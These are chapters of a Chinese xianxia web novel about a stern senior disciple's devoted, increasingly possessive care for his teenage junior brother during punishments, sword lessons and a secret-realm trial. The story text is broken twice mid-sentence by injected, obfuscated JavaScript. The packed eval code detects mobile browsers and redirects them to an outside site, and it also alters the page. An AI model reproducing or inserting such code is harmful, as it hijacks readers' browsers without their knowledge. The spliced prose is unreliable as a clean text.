他几步上前,先握着肩膀叫许采采从软垫上站起身来。 男人神情冷肃,语气却是低声哄人的:“让师兄看看。” 说着,垂眸将人仔细地从上到下查看一遍。 亲眼确认许采采当真没受一点伤,宋尽遥这才真正松口气。 “没打架。”许采采见师兄这么着急自己,一边配合着前后转了一圈,一边闷闷地补充。 宋尽遥神情不变,只去握他抄了半个上午的门规的手。 拿到掌心慢吞吞地看两眼,然后便揉按起来。 修士常年握剑的手掌宽大,掌心指腹皆布有薄茧,此刻正温热地包裹住许采采用得稍显泛红的手指。 宋尽遥力道适中,动作细致又舒缓,很快就将许采采按得舒服地眯起眼睛,坏情绪也跟着散去大半。 揉完,宋尽遥便松了手,掀起衣摆在许采采方才用的软垫上坐下。 许采采进戒律司的次数早就数不清了,但好在是从没犯过什么大错。 次次惩罚的内容都是抄书居多,也有单纯的闭门思过。最严重的,大概就是被派去扫过几次台阶。 不过从小到大,不论许采采因为什么被罚,宋尽遥从没有责问过半句。 同时不管被罚的是什么,宋尽遥都会陪着。 罚抄东西,宋尽遥就给人抄; 罚面壁思过,宋尽遥就在一旁陪伴,不让许采采一个人无聊或是不开心; 若是罚扫台阶,宋尽遥更是见不得许采采碰一下扫帚,总要替人去扫。 长清宗的门规有简略版,亦有详解版。 许采采受罚所需要抄的自然是后者,厚厚的一本小册,上头的字数可不少。 纵使他“业务熟练”,一个多时辰下来也只抄了不到二十遍。 许采采有些不好意思,想着自己再抄多一点,然后再让师兄帮他。但拽着他师兄的衣袖,还没来得及开口,跟前就被递过来了一包他最常吃的糕点。 许采采当即眼睛一亮。 他接过糕点的功夫,宋尽遥便已经收起储物袋,执笔续上先前停断的地方,开始动笔了。 也不知宋尽遥是在各个方面都天赋异禀,还是替师弟抄写门规抄得太多。 总之,他模仿许采采的字迹早已是一模一样,就连许采采故意撒气时张牙舞爪的笔势,也能学得极为神似,任谁也难以辨别。 宋尽遥端坐于软垫上,腰身笔挺,神情一贯的冷硬而严肃。 替师弟罚抄的模样,与他平日练习艰深剑法的专注态度并无二致。 许采采则挨着他坐下,一边吃糕点,一边把自己今日与人起争执的全过程一一讲给宋尽遥听。 从刚到长清宗就开始,他有什么事都要让师兄事无巨细地知道。 这是宋尽遥要求的,到现在已成两人的习惯。 只不过讲着讲着,许采采就又要炸毛。 “谢问玉当时张口就来,真是气死我了,我肯定是要骂回去的!” 宋尽遥并不愿他生气,对身体不好。 于是写着写着便放下笔,腾出手去揉许采采的脑袋。 “谢问玉有意掌门之位,将我视作对手,才会如此。”修士面色冷淡道。 “下回,你可以直接告知他,我无心与他竞争。” 说到这里,宋尽遥却又停住。 想到万一到时候两人又一言不合起了争执,而自己却不能时时刻刻守在许采采身边,于是略一垂眼,又改了说法。 “罢了,采采不必再管。若有时机,我会亲自告知。” 许采采这回被转移了注意力,也顾不上生气了。 他放下糕点,惊讶地问:“师兄,你将来不想做掌门?” 许采采年纪小,又整日无忧无虑的,心思单纯得很。 他对长清宗掌门这一职位所代表的权力地位、势力牵扯并无概念,更不提野心。 他只是认为一宗之主无疑是整个宗门里最优秀、最厉害的位置,而他师兄宋尽遥就是宗门里第一优秀的那个弟子,那将来就理应他师兄去做掌门。 宋尽遥已经重新拿起笔,“嗯”了一声。 “为什么呢?”许采采奇怪地问。 宋尽遥闻言偏过脸,看他一眼。 许采采精致干净的脸庞就映在修士冰冷灰白的双眸中。 “掌门事务繁多,我不能胜任,怕会觉得劳累。” 若只听到前面,许采采还想辩两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但嗅着宋尽遥身上熟悉又好闻的气息,许采采睡着睡着就喜欢往人怀里钻,非把整张脸都贴紧对方才肯踏实。 可宋尽遥一身玉白正装,腰间腰带繁复。 许采采脸颊一贴过去,便会被中间的玉扣硌到,他怎么调整位置都避不过,实在是很不舒服。 硌了几次下来,许采采忍受不了了,于是开始忍着困意去解那枚玉扣,想将其干脆撇到一边去。 但可惜,虽说师兄弟二人相处期间,宋尽遥几乎每日都会给许采采穿衣打扮,但许采采却从没有帮他师兄穿衣服的机会。 尤其这玉扣款式复杂,许采采更是翻来覆去也捉摸不透。 倒是不知道触碰到了哪处,惹得宋尽遥忽的腰腹绷紧,执笔的长指也随之一颤。 一滴浓郁的墨点染黑了原本整洁的纸面。 宋尽遥神情看不出任何变化,只是用一只手掌,轻轻按住了许采采作乱的双手。 “采采,”修士的呼吸似有不稳,声音偏低,“这不是在微明峰,不可无礼。” “……” “好吧。” 许采采并没有注意到他师兄有什么异常,只是咕哝着,听话但遗憾地翻个身,换个方向闭眼睡觉去了。 宋尽遥也没再出声。 他垂下眼看着许采采,用衣袖为师弟遮挡亮光。 直到许采采的呼吸变得绵长,彻底睡熟了,宋尽遥才将视线移回桌面上,极慢地放松自己紧绷的气息。 他静坐着,灰白眼眸微动。 片刻后,宋尽遥忽略方才那种一闪而过的、古怪的感受,又施法消去白纸上的墨点,这才继续抄写门规去了。 4. 四 晚霞漫天,暮色四合之际,戒律司看守静室的弟子前来检查了许采采所抄的门规。 点数完毕,确定够五十遍后,便算惩罚结束,可以放人出去了。 许采采与宋尽遥离开时,恰好途经隔壁。 里头已经点上了好几支蜡烛,谢问玉与另一弟子正伏在矮桌上埋头苦写。 据说这一天下来,隔壁静室已经进进出出换了好几个人了,都是被揪来帮谢问玉抄写的小跟班。 谢问玉自己更是一整天都没停笔。 不过因为惩罚遍数太多,即使两个人同时写,怕也还要写上许久。 宋尽遥与许采采二人回到微明峰。 简单吃过东西,又洗漱换衣收拾完毕,天色便彻底暗了下来。 师兄弟二人上了床榻,宋尽遥平躺在靠边的位置,许采采则盘腿坐在里头。 他拿过宋尽遥的右手,非要学着宋尽遥今日在静室里为他按摩那样,也给他师兄按手。 后面的三十多遍都是宋尽遥一人抄完的,所以许采采按得非常用心。 一边按,还能一边欣赏。 他师兄不仅相貌一等一的好看,就连这一双手也是长在了许采采的心坎上。 手指修长,骨节漂亮。 即使原本冷白的掌心指腹上有不少薄茧,但却丝毫不影响美感,反而令许采采觉得力量感十足。 许采采颇为珍惜地将他师兄的手掌捧在手里按来按去,还不忘时不时抬头去问对方力道如何、手法是否正确。 “很好。”宋尽遥面无表情应了。 男人似是无聊,只垂眼看他动作。 许采采的手明显比宋尽遥的要小上一圈,因为还不到常年握剑的时候,所以无茧无疤,显得稚嫩许多。 又因为极少伺候人,按摩的动作也实在是不熟练。 少年显然只是在笨拙地有样学样。 按揉指节时,便用掌心圈住他师兄的一根根长指挤压揉捏,也会将自己的手指穿插入宋尽遥指缝之中,不断收紧摩擦。 至于掌心,许采采便用拇指指腹用力地交替揉搓。 他按得颇为费工夫,指尖都泛了红,但那点力道于宋尽遥而言,却更像是逗弄挠痒。 宋尽遥又看了片刻,脑海中莫名浮现出一丝疑惑。 他白日里就是在这样给采采按手的吗? 许采采按着按着,忽的发现他师兄的掌心变得很热,都有些烫手了。 还当是自己的按摩效果显著,许采采忙惊喜地抬眼:“师兄,你手心都出汗了!” 话音刚落,怀里的手臂已然被抽走。 宋尽遥仍旧是万年不变的冰冷神情,他坐起身,方才被按摩的右手便顺势握在身侧的寒玉床板上。 手背处因用力而绷起青筋。 “师兄,”许采采稍愣,“不按啦?” “嗯。” 宋尽遥垂下眼,取了丝帕给他擦擦额头上累出来的薄汗,声线冷淡而平稳:“时候不早,你也累了,该睡觉了。” “好吧。” 许采采想说其实他一点都不累,他才刚摸到门窍呢。 但师兄都发话了,他只好打个哈欠,乖乖躺下睡觉去了。 …… 第二日上午,又该到上剑法课。 修士筑基之后,身体就有了足够的修行基础。 所以许采采这一批内门弟子每月都会安排不少剑法课。 但剑法长老不可能每次都有空闲,若是不巧碰上外出执行公务,就需要托付其他长老,或修为远远超过筑基的弟子代课。 许采采他们提前几天就已接到过通知,今日这次剑法课,由于长老不在宗门,会由掌门亲传大弟子谢问玉代为传授。 大家本来积极性不高,但没想到在距离上课时间不到一刻钟时,一道白色身影御剑来到试炼场。 来人一身银白锦袍,气质冷峭,神情冰冷,正是宋尽遥。 这回众人一下子全来了精神。 并不是因为宋尽遥一来,上课的积极性就上来了。 毕竟每上一次都要把人累个半死的剑法课,真的很难招人喜欢。 只不过是因为,与谢问玉谢师兄的松懈傲慢相比,宋尽遥宋师兄可是比剑法长老本人还可怕的存在。 对方的教学风格冷酷又严苛。 授课时惜字如金,考核时又要求极高,任何一点细微的错误都不可能躲得过对方那冰层之下的一双眼。 一旦有人出错,宋师兄便会直接当众点出来,并令对方反复重练,直到合格为止。 如此高压的环境下,大家想不集中精神都难。 不过,这时还不到上课时候,所以众弟子不必着急就位,只是降低了凑在一起玩闹的音量。 而宋尽遥也暂时立在远处,不去打搅。 许采采也在和几个熟悉的好友聚在一处聊天。 众人都知道他与宋尽遥关系极为亲密。 若是宋尽遥刚开始帮长老代课的那几次,大家可能还会调侃许采采一番,或是八卦地关注一下这对师兄弟,看能不能挖到些许有趣的互动来活跃课堂氛围。 但到了现在,他们早就懒得去管了。 因为宋尽遥来代课的次数并不少,却从不曾对许采采有过半点特殊对待。 大师兄甚至连看过去的眼神都一视同仁,一样的冰冷严厉。 而许采采在课堂上,也是心中只有剑法,只专心上课。 他并不会因为教授的人是宋尽遥而有任何懈怠,更别提扰乱课堂纪律。 所以这么一来,众人自然而然便觉得理该如此,不再过多关注了。 更何况这时,大家更关心的是,为什么谢师兄会被临时换成了宋师兄。 许采采对这事也颇为好奇,他们七八个年轻弟子蹲在地上围成一团,探着脑袋问谁知道准确消息。 一会儿,又一个弟子从另一堆人群中飞奔而来,带来了最新情报。 “知道了知道了,我知道为什么了!” 许采采他们连忙往旁边一挪,让他挤进来。 “快说快说。”众人催促。 那弟子神情兴奋,似是还有些掩不住笑。 “你们都知道,谢师兄昨天被罚抄一百五十遍门规嘛。” 这话一出,大家都哈哈大笑起来,还用肩膀挤一挤许采采。 “当然,我们都知道,这事采采最清楚。” 许采采被调侃虽然不恼,但是提到昨日罚抄一事,他很快就会记起谢问玉受罚的缘由是骂他师兄。 许采采才不想提这个,于是赶忙继续催促:“好了好了,快说重点。” 那弟子便又收敛笑闹,压低了声音继续道:“据说谢师兄昨夜直到凌晨才抄完,后来回住处路过后山时,不知为何被一只从里头跑出来的大狗给缠上了。” “啊?” 众人听到如此荒诞的发展,一时有些惊讶。 “那大狗像发了狂似的,追着谢师兄在后山跑了一整个晚上。 “谢师兄直到凌晨才得以脱身,虽没受什么伤,但却累坏了身子,这才无法来代课了。” 长清宗后山灵气充盈,一草一木都颇具灵性,在里头土生土长的小动物们就更是不容小觑了。 谢问玉若真被那大狗盯上,招架不住实属正常。 许采采听得十分惊奇。 谢问玉昨日刚骂过他是小狗,晚上便被狗追了,这也太巧了吧? 不过他并未细想,也没往心里放。 只当笑话听在耳朵里,替自己出出气,就跟着昨日之事一起过去了。 …… 几只仙鹤飞来,停驻在试炼场大门处的石碑上,几声鹤鸣很快传遍整个试炼场。 这便是上课的时辰到了,众弟子们立刻收起玩闹状态,迅速地回到各自位置一本正经地站好。 宋尽遥亦从远处御剑而来,在众人面前落地站定。 修士身形修长,如松如竹,本命剑则自觉浮于主人身后,剑身流光溢彩,又寒气逼人。 众弟子感受到来自元婴修士的灵气与威压,齐齐恭敬行礼:“见过大师兄。” 宋尽遥也收敛剑刃,颔首回礼,剑法课便开始了。 不同的师长有不同的教导方法,宋尽遥的教学方式始终一贯,从未变过。 他在课堂开始时,便会先亲自将今日所需学的一套剑法为众弟子们演示一遍。 一遍标准又清晰的演示下来,大家很快就对要学习的东西有了基本概念。 宋尽遥接下来便会施法捏出浮于半空中的影像人物,将剑法的一招一式拆分展示,并以最简练的语言讲解。 宋尽遥虽然寡言少语,但对剑法颇为精通,一字一句都极为关键,不省略亦不废话。 这也是众弟子们注意力最为集中的时刻。 在这之后便是较为轻松的自由练习时间了。 而在练习期间,若有方才没听明白的,也可随时向传授者提问。 这里便体现出了宋尽遥来上课的唯一缺点。 因为他太过高冷,漠然的眼神又过于可怕,所以极少有弟子敢壮起胆子去主动询问问题。 大家都宁愿在下面低声互相讨教,或是干脆自己多琢磨个十遍二十遍。 练习得差不多之后,是众人最为紧张的考核阶段。 宋尽遥对这一阶段的态度是极为认真的。 他不介意耽误时间,也不嫌麻烦,会挨个走到每一位弟子身旁,让对方将方才所学的剑法完整地练上一遍。 面无表情地看完后,宋尽遥会严格打分,直接点出错处,给予建议,最后布置课后练习任务。 这个环节里,众弟子往往全程都是战战兢兢的。 轮到考核许采采的时候,宋尽遥的神情与先前毫无区别,只与人对视一眼,示意对方可以开始了。 许采采便略一颔首,手握木剑,开始起势。 他热爱修行,自小便勤奋刻苦,又有江执道与宋尽遥共同教导,悟性与基础都是颇为亮眼的。 这一套剑法难不倒许采采,少年十分顺利便展示完了。 练完后,许采采身上出了 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但事关修行,又在课堂之上,他不可能将要求放低一丝一毫。 于是一如对待其他弟子一般,宋尽遥言简意赅地指出了许采采的两处不标准动作,并评分级为“乙等”,要求其课后再将剑法练习一百遍。 一场考核完毕,最终获得甲等的弟子只有两个,获得乙等的弟子也不多。 错处超过五处的,都被判成了“丙等”,每人都需课后再重复练习两百遍。 每个弟子所用的木剑会记录次数,所以不会有任何糊弄功课的可能。 …… 虽说在考核时,宋尽遥只用几息功夫便做下决定,忽视师弟的可爱目光。 但他还是很担忧许采采会因此不悦。 于是在那之后,他便特意留意了几眼。 见到许采采并没有闷闷不乐,反而好像对考核成绩挺满意,美滋滋地去与好友互相炫耀的模样,宋尽遥这才不再担心了。 临近傍晚,剑法课总算结束后,宋尽遥御剑先行一步,在试炼场大门外的台阶下静立等候。 并没有等多久,便看见许采采夹在一堆青绿身影中,正欢欢乐乐地朝他这边过来。 宋尽遥本是神情缓和的。 但当目光瞥到许采采夹在两个好友中间,一左一右的两只手都被外人牵住时,他不知忽的想到什么,眉眼很快变得极冷。 许采采已经看到了他,便暂时松开两位好朋友的手,一路小跑到宋尽遥跟前。 “师兄,趁天色还没黑,他们邀请我去弟子院吃晚饭,我能去吗!”许采采兴高采烈地问。 宋尽遥闻言,眉头又是一皱。 他不由看了那些站在远处等待许采采的几名弟子一眼。 许采采在整个长清宗都十分受欢迎,这是众所周知的事。 少年因为性情活泼开朗,又热心肠重义气,所以不论走到哪里,身边总能围着一堆朋友。 宋尽遥亲眼看着许采采长大,更知道他的师弟究竟有多好。 按照常理,许采采这般招人喜欢,宋尽遥该替自己师弟高兴才是。 可每每出现这种情况时,他都只会心中躁郁难安,牵扯不上高兴半点。 如果可以,他更希望许采采将那些无关紧要的外人全部拒绝掉,只与他回微明峰。 “师兄,师兄,”见宋尽遥久久不答话,只盯着自己看,许采采担心自己的伙伴们等急了,连连催他,“师兄,快答应我吧,我真的想去。” 宋尽遥面色冷硬。 许采采这时抬眸望他的模样,叫他想起方才课上考核时,对方望来的水亮目光。 今日他已经拒绝过一次师弟的撒娇,让师弟失望了。 若再来一次,他怕真惹采采伤心。 于是又沉默几息,宋尽遥似是退让般垂了眼。 他从怀中取出一枚布料柔软的手帕,拿过许采采并不脏的双手,挨个给人擦一遍。 “可以去,”宋尽遥出声,音色冰冷,不容拒绝,“但要与人保持距离。” 许采采一开始还没听明白呢。 直看着宋尽遥连他的每个指缝都要照顾到,擦得简直不能再细致,才惊讶地反应过来。 少年不禁笑出声道:“师兄,我记住你的话,不跟大家一起泡灵泉了,但只是牵一牵手也不行吗?” 他是真想不到这有什么不合适的,还当他师兄是在跟他开玩笑。 但宋尽遥的神情却很严肃。 “不行,”他直直地跟许采采对视着,蹙眉缓声地哄,“采采,你听话。” “……” 许采采被对方这个认真的态度惊到,没敢再笑了。 只静默片刻,呆呆地点头答应:“好吧。” 他感受到一丝古怪。 不知道是不是错觉,他师兄好像管他管得越来越严了? 5. 五 为激励宗门弟子,锻炼弟子实战能力,长清宗每隔半年便会在后山划出一片地方,举行秘境试炼。 这类试炼一般也只能金丹及以下境界的弟子参加,且可根据自身情况自由报名,并不强制。 许采采喜动不喜静,像这类有趣又热闹的活动,他都是一次都不肯错过。 这天一大早,许采采装束完毕,与宋尽遥一同来到后山秘境的结界外。 家长或其他随行人员不可进入,许采采与他师兄道别后,蹦蹦跳跳地便进去了。 他本以为自己来得够早了,却不想里头已经聚了不少同门弟子。 大家趁试炼还没开始,正围在一起闲聊。 他们看见许采采来了,很快便笑着打招呼。 不过当视线下移,看到许采采腰间果然挂着一枚刻有符文的圆镜时,众人的笑闹声顿时便大了起来。 其中跟许采采熟识的人更是毫不顾忌地大笑出声:“我就知道采采还会戴着这个宝宝镜!” 另一年纪稍长的师兄也笑着接话:“采采,虽说你是我们当中最小的,可如今也十七了,怎么还戴宝宝镜呢?” “怎么?你大师兄还是不放心你啊?” 许采采本来高高兴兴的,谁知上来就被他们嘲笑一通。 他都被说懵了,下意识摸摸自己腰间的小圆镜,反驳的话还没说出口,就又听到有人故意调侃他道: “都别说了,用宝宝镜怎么了,我们采采还是个宝宝呢!” “……” 许采采这次直接闹了个大红脸,大喊:“你们别太过分了!” 其实,宝宝镜只是一种低阶玄光镜的戏称。 正常水平以及高阶的玄光镜,可以在两个或多个修士之间互相传递影像和声音,帮助修士们实现实时的远程交流,有的甚至还可以传递物品与灵力。 低阶玄光镜的功能则十分局限。 它只能记录当前使用者的影像与声音,然后单方面传递给单一指定的接收者。 而使用者这边,是无法收到来自接收者的任何反馈信息的。 也就是没有实时交流的功能。 正是因为无法实时交流,不会影响试炼的公平公正,所以宗门才会在禁止私自携带其他任何法器符箓的情况下,允许弟子携带低阶玄光镜入场。 其用处一是如果有弟子在试炼过程中深陷险境,而又无法自己做出决断时,外面的接收者便可及时帮忙叫停。 不过,秘境内的一切灵兽身上都设有封印,一般情况下都不会有什么生命危险。 还有一个用处,就是可以记录弟子在秘境内的表现,方便回家复盘。 这么一看便知道,这种玄光镜实在是太适合年龄低、实战经验稚嫩的弟子用了。 这也是其被称作宝宝镜的原因。 从小接触修行的弟子们,一般在不到十二岁时就都不会再用。 因为这个年纪的孩子都会开始好面子,嫌丢人。 估计整个长清宗上下,就只剩许采采一个人,已经满十七岁了还在用了。 这才叫他被大家这样围着逗弄了一番。 许采采喊完那一声,趁着试炼还没开始,半点没犹豫地,扭头就又出了秘境。 他知道每次自己参加秘境试炼,师兄只要没事,就都会一直守在外面,等到他出来为止。 果然,许采采刚出结界,就见宋尽遥一身素白锦衣,还站在他离开时的那个位置,不曾挪步半分。 许采采脸颊脖子都还红彤彤的,又气又羞像个炮弹一样就朝他师兄冲过去了。 宋尽遥见到许采采去而复返,还是这幅模样,当即神情严肃。 握着肩膀把人接住,以手背试了试许采采通红的脸,宋尽遥低头问:“怎么不高兴?” 许采采揪着挂在腰间的小镜子撒气,把它使劲儿往宋尽遥的面前拽:“师兄,我能不能不戴这个了,我以后都不想戴了!” 宋尽遥垂眸,皱了眉。 怕他这么用力伤到自己,便抬手连着许采采的手和镜子一同裹住,不让他再乱动。 “不可以,采采。”宋尽遥语气一如既往地冷硬,半点考虑都没有便拒绝道。 或许是许采采自己都不曾发觉的。 从小到大,他师兄的触碰一直都对他有极强的安抚作用。 宋尽遥只是把他的手握在掌心,轻轻抚一抚,揉一揉,许采采方才炸起的毛便都全顺了。 他顿时消了气,不胡乱闹脾气了,但被人嘲笑的委屈还在: “我不想戴,师兄,他们都嘲笑我这么大的人了还戴宝宝镜。” 许采采放软了语气,比生气时还令人难以招架。 但宋尽遥仍是拒绝。 “玄光镜不影响试炼的公平性,更无关年龄。” 宋尽遥性情极为冷漠,向来固执独行,百余年来全然不曾在意过他人的言论如何。 所以他压根想不到他与师弟之间的事,他人有什么好嘲笑的。 也不懂得这些嘲笑有什么好在意的。 于是只从客观角度出发,跟许采采强调佩戴玄光镜并不违规。 许采采见他师兄压根听不进去他的话,而试炼又马上就开始了,急得直跺脚。 “师兄,求你了!” 他拽着宋尽遥的手臂用力晃:“我被他们笑话真的很不开心,他们都说我长不大!” 宋尽遥仍觉得这话没什么道理。 他始终没任何表情变化,只垂眼盯着许采采看。 长不大又如何? 若是可以,他倒希望许采采永远长不大。 那么他就可以永远照顾师弟了。 宋尽遥张口,又要继续拒绝,却不想忽的看见许采采嘴巴一抿,红了眼眶。 男人顿时便眼瞳一颤,泄出几分慌张情绪。 “师兄。”许采采只继续仰着脸喊他。 于是拒绝的话再难说出口,宋尽遥眉头紧皱,开口时语气都放缓了。 “不戴就是,哭什么。” 说着,他毫不停顿地,亲自俯身将许采采腰间的玄光镜解了下来。 刚取掉,方才还哭哭唧唧的许采采就立马变得兴高采烈了。 “谢谢师兄!” 许采采用力抱了他师兄一下,然后卡着试炼开始的时间,头也不回地冲进了秘境结界。 宋尽遥被他抱得身形一晃。 站稳后,男人一直看着许采采的背影消失不见,才愿移开视线,将那枚玄光镜收入自己怀中。 …… 试炼正式开始后,因为有阵法的影响,方才还聚在一起的弟子们都会从不同方向单独出发。 在试炼过程中除非与其他弟子碰巧相遇组队,否则一般情况下都是单人行动的。 许采采捕捉了几只小型灵兽后,被一只兔子引着,踏入了一片陌生山林中。 眼前十几米之外便都是浓郁白雾,叫他看不清任何景象。 又走出不到一刻钟,原本伴有蝉叫鸟鸣的树林忽的变得极为静谧。 许采采敏锐察觉,当即神情肃然,凝神聚力保持警惕。 就是在这时,随着几声浑厚的怒吼,脚下地面开始剧烈摇动。 许采采便足尖借力,腾空而起,在一高大树木的树枝上站定。 随着地面的继续晃动,一只体型巨大的石妖自地下站直了身形,一时引得狂风骤起,树木横倒,尘土飞扬。 这石妖体积庞大,遮天蔽日。 它站在山谷之中,面部的高度却几乎要超过站在树梢上的许采采。 许采采这才意识到,自己方才所踩的“地面”,便是石妖的背部。 而且—— 他眉头紧皱,紧跟着便认出,这只石妖灵力强大,已是结丹期灵兽。 按照惯例,本是用来给结丹期弟子试炼的。 许采采神情紧绷,抬头往天空的方向看了一眼,暂时没有动作。 他如今只是筑基,遇到这种情况时完全可以向上方结界发出讯号,那么掌管秘境的长老就会立刻为他换一只与筑基期对应的灵兽。 不会扣分,也不算失败。 毕竟让筑基期弟子与结丹期灵兽对战,显然不公平,也很容易出事。 然而许采采却不太想换。 他更想试试,觉得会更有趣。 他性格中敢于冒险这个因素,是全然由宋尽遥培养出来的。 许采采原本生于一户普通的凡人人家,一生安分守己、与人为善的父母十分呵护他。 五岁那年,双亲在战乱中丧命,所幸得师尊同情,许采采就这样被带到了长清宗。 亲眼见证了屠杀人命的场景,世上仅存的亲人离世,又来到一个全然陌生的环境,许采采那时是极为胆小的。 他简直是什么都怕,什么都不敢做。 他那时也怕宋尽遥。 一个高大得像一座山一样,总是面色冷峻的师兄。 不过正是因为太过害怕,反而在对方抱住自己时,连挣扎哭闹都不敢有。 只会僵在对方怀抱中一动也不敢动。 后来,是宋尽遥总是不厌其烦地教他。 他还小的时候,宋尽遥就抱着他,鼓励他表达诉求,去做想做的事,拿想要的东西。 他长大了,不能再被大人抱来抱去了,宋尽遥就站在他身后陪他,寸步不离。 第一次主动交朋友,第一次来后山捉小型灵兽,第一次与师尊撒娇……全都是因为有宋尽遥站在身后,许采采才敢的。 那也是他最黏宋尽遥的阶段。 就这样慢慢地,许采采养成了最牢固的一个习惯。 就是只要一想到身后有宋尽遥,他就真的能做到天不怕地不怕。 到了现在,他早已没那么黏人,离开师兄也能照顾好自己,但依旧只要想到宋尽遥,就敢去做任何想做的事。 所以许采采遇事极少有退缩的时候,反而更喜欢去挑战些什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15251381|166399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结丹期的灵兽虽然难打,但许采采在筑基期的弟子里也算佼佼者。 更何况,灵兽越强,奖品可是会越多的。 他想把奖品带回去孝敬师兄,师兄一定会很高兴,还会夸奖他。 许采采在短短几息间做好决定,当即施力用灵力将枝叶掀得簌簌作响,同时也引起了石妖的注意。 当它辨认出威胁与敌意来自站在树梢处的一个再微小不过的身影时,石妖仿佛觉得受到侮辱一般,双目赤红,怒吼着朝许采采冲来。 沉重的脚步令山川震动。 许采采抓准时机,一跃而起。 他顺手裁一节树枝化作利剑,恰好用上前些时日宋尽遥新教的剑法,直冲石妖面门冲了过去。 秘境之中不分昼夜,许采采与石妖缠斗了许久。 到最后时,他一身青绿弟子服已经脏乱不堪,还破了好几处,头发也颇为散乱。 不过那石妖也没好到哪里去。 它腿部受了伤,两只手臂又被许采采借用藤蔓缠住,此刻正趴在地上怒吼挣扎。 许采采一鼓作气,干脆跳到了石妖的脑袋上。 如溪流般澄澈的浅绿灵力以他为中心向外涌出,又全然灌注进许采采手中枝条化作的剑刃之中。 剑身霎时布满流动光影,杀气四溢。 许采采再次跃至高处,如深夜流星一般,携着翻涌灵气刺向石妖最为脆弱的眼睛。 那石妖从内到外都由山间石头炼成,即使是眼球也不例外。 强劲灵力与硬物相撞,迸出点点火光,石妖痛苦的吼叫声震耳欲聋。 许采采咬牙坚持,不想石妖临死之际不住地大叫乱甩,许采采一时脱力,不慎被对方从头顶甩落。 失重感陡起,石妖倒地的同时,许采采也自高空坠落。 手中的长剑没了灵力灌养,已然变回碎成几段的枝条。 许采采不断掉落,衣摆被劲风吹得猎猎作响。 他试图用灵力托一下自己,可方才那一击已然用了全力,现在他不管是体力还是灵力,都一点都没有了。 下面都是石妖被打败后形成的尸骸,石块看着一个比一个坚硬。 许采采瞥去一眼,还分出心思估摸了一下,心想摔上去肯定比他这番打斗所受的伤还重。 正打算咬牙认命之际,腰背处忽的传来一股强劲力道。 感受到自己被一束灵力接住,许采采当即神情一凛,迅速反应过来。 他来不及有任何思索,只借这力道一撑,最终在身体砸落在石块上的前一瞬,得以稳稳地站定在地。 许采采刚站稳,不远处谢问玉一身华丽锦袍,靠墙而立,慢悠悠地收了灵力。 他朝许采采一挑眉,走近打量道:“不错嘛许采采,居然连结丹期灵兽都打得过。” 许采采累得浑身脏兮兮,衣服也破得无法再看,但身形却依旧是挺拔的。 他缓出一口气,郑重地朝谢问玉行了礼:“多谢谢师兄。” 许采采一向就事论事。 谢问玉经常与他师兄作对是真,可如今伸手帮他免于受伤也是真。 那么他虽然此前跟这人吵架是真动了气,现在与人道谢却也是极为诚恳的。 谢问玉闻言满意地笑起来,一挥手:“谢什么,我可是你们这群小弟子的大师兄,难道还能见死不救?” 谢问玉说完,又觉得自己的胸怀实在是开阔,不由自满地抬了抬下巴。 果然,他只不过是看宋尽遥那一个人不顺眼,所以才会偶尔失了仪态。 若不是被宋尽遥逼的,他谢问玉身为长清宗掌门亲传大弟子,本就是心存大局,照顾小辈的好师兄,更是其他众弟子需要学习的好榜样。 他将来是要成大事的。 可不是什么不懂分寸的人。 更何况…… 谢问玉一边这般想着,一边将许采采从头到尾打量了一番。 抛去宋尽遥不谈,其实他一直都看许采采挺顺眼的。 每日活蹦乱跳,又跟谁都不服劲,像棵抽条的小柳树。 又见许采采今日不仅能打趴一只结丹期石妖,被他救了也不觉不服,反而如此诚心诚意地道谢,全然不计前嫌。 谢问玉便愈发觉得,许采采跟他一样,是个既有本事又有格局之人,有他十七八岁时的风范! 于是趁着许采采蹲在河边洗脸的功夫,谢问玉又踱步过去,闲聊般开了口:“不过采采,你要是真谢我的话,今后能不能别再提我秃头的事?” 许采采随意洗掉脸上的灰,不至于太影响仪态,便站起身来。 他见谢问玉是在正经交流,于是便回以同样态度,双眸明亮,语气认真的回话:“那谢师兄以后能不能不再说我师兄的坏话?” “……” 谢问玉当即变脸:“呸!” “我说他坏话?” 他气得扭头就走:“你当我什么都没说!” 许采采:“……” 6. 六 第六章 落在地上的石妖尸骸没过多久就消散了,方才打斗的痕迹也很快随之消失。 阵阵灵气拂过,倒地的树木一一恢复,地面恢复平整,周遭又变回了之前生机盎然,宁静祥和的树林景象。 半空中在这时浮现出许采采已获得满分成就的字样。 这也意味着许采采试炼通关,可以自由离开秘境了。 至于奖品,则会在此次试炼完全结束后,再统一发放。 已经获得了足够的分数和奖励,再加上灵力耗尽一时难以恢复,无法再战。 所以许采采也不再逗留,很快顺着阵法为他准备的出口,走出了秘境。 他出来的时辰较早,此时外面还没有什么人。 看见一直守在结界外等待他的宋尽遥时,许采采当即便眼睛一亮,跟人招手:“师兄,我出来了!” 宋尽遥的脸色却很差。 许采采现在这幅模样实在是狼狈。 浑身上下都灰扑扑的,宋尽遥精心为人搭配的衣服也早已破破烂烂。 白净的脸上仍沾着些许没洗干净的泥巴,原本乌黑顺滑的长马尾更是又乱又脏,发梢甚至还夹杂着几片草屑。 许采采打完招呼,没等到他师兄的回应,先被人一把抱了起来。 宋尽遥抱着他的功夫,便已经施了清洁术法,先将脸蛋和头发给人弄干净了。 他把许采采放到一旁供弟子休息的石凳上坐好,然后在许采采跟前蹲了下来。 衣摆和裤腿掀开,果真看见膝盖上一道深红的,足有三指宽的伤口。 因为伤得较深,到这时还在往外丝丝渗血。 再抬眼时,宋尽遥灰白的双眸已经变得极为冰冷。 